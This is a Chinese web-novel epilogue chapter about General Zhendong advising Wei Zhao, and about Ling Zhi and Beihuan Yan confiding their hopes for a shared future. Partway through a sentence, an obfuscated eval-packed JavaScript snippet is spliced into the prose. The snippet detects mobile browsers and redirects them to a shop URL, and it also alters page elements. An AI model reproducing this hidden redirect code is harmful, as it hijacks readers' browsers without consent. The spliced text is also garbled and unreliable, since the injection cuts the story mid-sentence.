镇东又道:“你知道纵尚把南境军队里的想要造反的南泽旧部名单交给陛下了罢?” “嗯。”卫昭点头。 “你知道陛下怎么处理这帮人的?”镇东问。 卫昭摇头。 “陛下让他们全都归家养老去了。”镇东道,“一个没杀。” 卫昭一愣,这倒是他从来没听过的。 镇东揽住卫昭的肩膀推着他往前走:“陛下圣明,不愿在这件事上徒增杀戮。陛下没有你们想象地那么无情。” 卫昭应了一声,从许景挚处理盛泉的事上能看出,许景挚这个帝君当得让人无话可说。 “陈松虽然去了北境担任北境节度使,可北境到底是六州,边境线长。想要守住乌族三部,还是需要能人异士。”镇东看向卫昭,“卫将军若是还有报国之志,我可以推荐你去北境陈松麾下施展抱负。” 卫昭点头:“多谢镇东将军的好意。可我先答应了小主子,在凌姑娘在外游医的时候,保护她……” “哎,这事不着急。”镇东见卫昭松了口连忙道,“等凌姑娘过几年回去成婚了,你再去北境也不迟。你没看见方才凌姑娘与言少卿两人你侬我侬的……就算现在没有定亲,他俩的婚事也是板上钉钉的事。” 卫昭不言,镇东说的都是大家看在眼里的事。 现在镇东找他聊的是他以后的事。 他以后的事啊…… 卫昭深吸一口气,镇东与他闲聊的话越来越模糊。 他从军十年,从未想过自己能活着走出战场。 他从未想过自己以后。 * 镇东回府,府上就有小厮去内院通知镇怀,说凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604079|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘来看他了。 镇怀因为上次的事领了三十军棍,一直趴在床上养伤。 听见小厮说凌芷来了,立即就从床上爬起来更衣。 他可不想让凌芷看见自己被打成小趴菜的样子。 镇怀看了看破旧的军装,咬了咬唇,回身从木箱里取出自己在家穿的常服锦衣。他还特地洗了把脸,整了整衣襟,才从卧房去到前厅。 身后的伤还没完全好,走一步,就连着肉皮一起扯着疼。 镇怀啧了一声,心里埋怨戒律院的那群人打他真下毒手。 但转过屏风看见一个身着青衣,身形较小的姑娘,脸上立即挂了笑:“凌姑娘……” 凌芷回头,看见镇怀从里院出来,立即从怀里掏出一瓶药。 看着凌芷手上的药瓶,镇怀不好意思地挠了挠头。 每次他受了伤,她都放在心上,专门给他调了药,送过来。 可当他完全走出屏风的时候,却看见有一个长得温润如玉的贵气公子,坐在太师椅上,淡然地茗了一口茶。 镇怀蹙眉,只觉得这青年人长得很像安王殿下。 再看他腰上挂着的龙环玉佩,当即明白了他的身份,连忙快走两步,俯身行礼:“见过世…言公子。” 北寰言放下茶盏,接住了镇怀:“你有伤在身,免礼了。” “是……” 镇怀不再做礼,凌芷把手里的药瓶递给他:“怀哥哥,这是我给你做的药。你一天涂一遍,不出十日就会好的。” 镇怀轻笑着,接过凌芷的药。 凌芷回身就拉住北寰言的胳膊:“言哥哥,我饿了。我们去前厅用饭吧?” 北寰言把她的手从胳膊上拉下来,攥在手里,温声回道:“好。” 镇怀的笑容僵在脸上。 凌芷拉着北寰言就往外走,不作停留。 北寰言回眸看了镇怀一眼。 镇怀下意识地颔首,向着北寰言一礼,送他离开。 凌芷拉着北寰言走在将军府的回廊上,心情大好。 北寰言习惯了轻便的轻纱常服,白带束发,即便是还没恢复世子身份,象征世子身份的龙欢玉佩许景挚也早早就给了他,让他挂在身上表明皇家身份。 他跟在凌芷身后,腰上白色玉佩压着蓝色纱衣,只有衣角随着他的步伐轻动。 “小芷。”北寰言在后面唤她。 凌芷弯着眼睛回头,笑眯眯地问:“怎么了?” 北寰言有些犹疑,脚步变重了,凌芷拉不动了,便停下来,望着北寰言。 北寰言侧目,一缕黑丝带着白色发带,从耳边落下遮掩了他耳垂的那一丝红晕:“你好似唤谁都喊哥哥……” “嗯?”凌芷回道,“比我大,我不喊哥哥喊什么?” 北寰言轻轻地嗯了一声,不再说话。 脸上到底是多了些冷色。 凌芷蹙眉,想了一会儿,恍然道:“言哥哥是不想我对谁都喊哥哥是吗?” 北寰言望着她,神色静谧。 凌芷察觉出北寰言不快,手上使了劲,拉着他靠了过去,仰头望着北寰言:“言哥哥是要给我立规矩了吗?” “我……”北寰言不知道应该怎么回答,眼神下意识地闪躲。 这是凌芷从未见过的言哥哥。 眉宇微微蹙起的时候,还带着些自责。 他在想什么呢? 凌芷盯着北寰言的脸,心中忽然有了一丝窃喜。 这是言哥哥第一次在她面前表现出占有欲。 他想问她要一个只属于他的昵称。 “言哥哥。”凌芷垫着脚,把脸凑到北寰言眼前。 北寰言静静地望着她。 “你不喜欢我这样,以后我只唤你一人哥哥可好?” 凌芷怎么舍得让自己喜欢的人心里不舒服呢? 他还没说出口,她就先做出了妥协。 “我这样……是不是……不好?”北寰言低头问。 凌芷高兴地摇头。 他不知道,这是他第一次跟她展示了爱意。 她欢喜至极。 “我……”北寰言为着自己忽然来的心绪有些惭愧。 他明明是最不想束缚她的人,现在却变成了她妥协的唯一理由 这姑娘为他妥协了太多。 明明之前在山上,是一个懒散、自由的姑娘,不会为了世俗那些眼光,就逼自己做一个优秀的人。 明明是吃着山果,就能开心一整天的姑娘。 明明想着缠着爹娘,赖在爹娘身边,寸步不离的姑娘。 就因为一个他,不仅走下了山,还要继承薛门游医,精进医术。 哪怕她日后学成了,也大概率会被那些规矩锁在深宫大院之中。 可她好像根本就不在乎,执意要跟他一起赴一场前路满眼荆棘的局。 北寰言忽然心中愧疚更甚。 “怎么我不纠结了,换言哥哥纠结了。”凌芷好似洞察北寰言心思一般,伸手抚着他的眉宇。 北寰言拉下她的手:“我以前从未想过我的以后。” 凌芷知道,北寰言说的以后,是他来许都以后的那些身不由己。 而今陛下圣明,哪怕有人从中挑拨,也无比信任安王府。 可谁能保证陛下殡天以后,新帝继位也能这样无条件的信任安王府呢? 北寰言说他从未想过他的以后,是那些笼罩在他们这些皇亲贵胄头上,散不去的悲哀。 他来许都,也只是因为他必须来。 这是他身为安王府世子不可推卸的责任。 “没关系的,言哥哥。”凌芷道,“我陪你。我有一百种方法能让你假死脱身。你不用怕。等我把医术学好了,以后我们就可以隐姓埋名,找个地方生活。你可以写字抄书赚钱,或者去当个私塾的教书先生,如果觉得自己以前过得太辛苦,不想为了生计发愁,我可以行医诊脉,我来赚钱养家……” 凌芷拉着北寰言,喋喋不休,就差拍胸脯保证,她生怕她的言哥哥就这样冷落了她。 北寰言眼神温柔,静静地盯着凌芷薄唇,一张一合地跟他描述与他有关的未来。 廊风微拂起凌芷的发梢,夹杂着初冬的碎雪。 北寰言伸手,接住了缠绕在凌芷耳根的冰凉。 心里想着,他一定要好好活着。 只有他好好活着,才能与凌芷一起看见她所说的未来。 —番外完—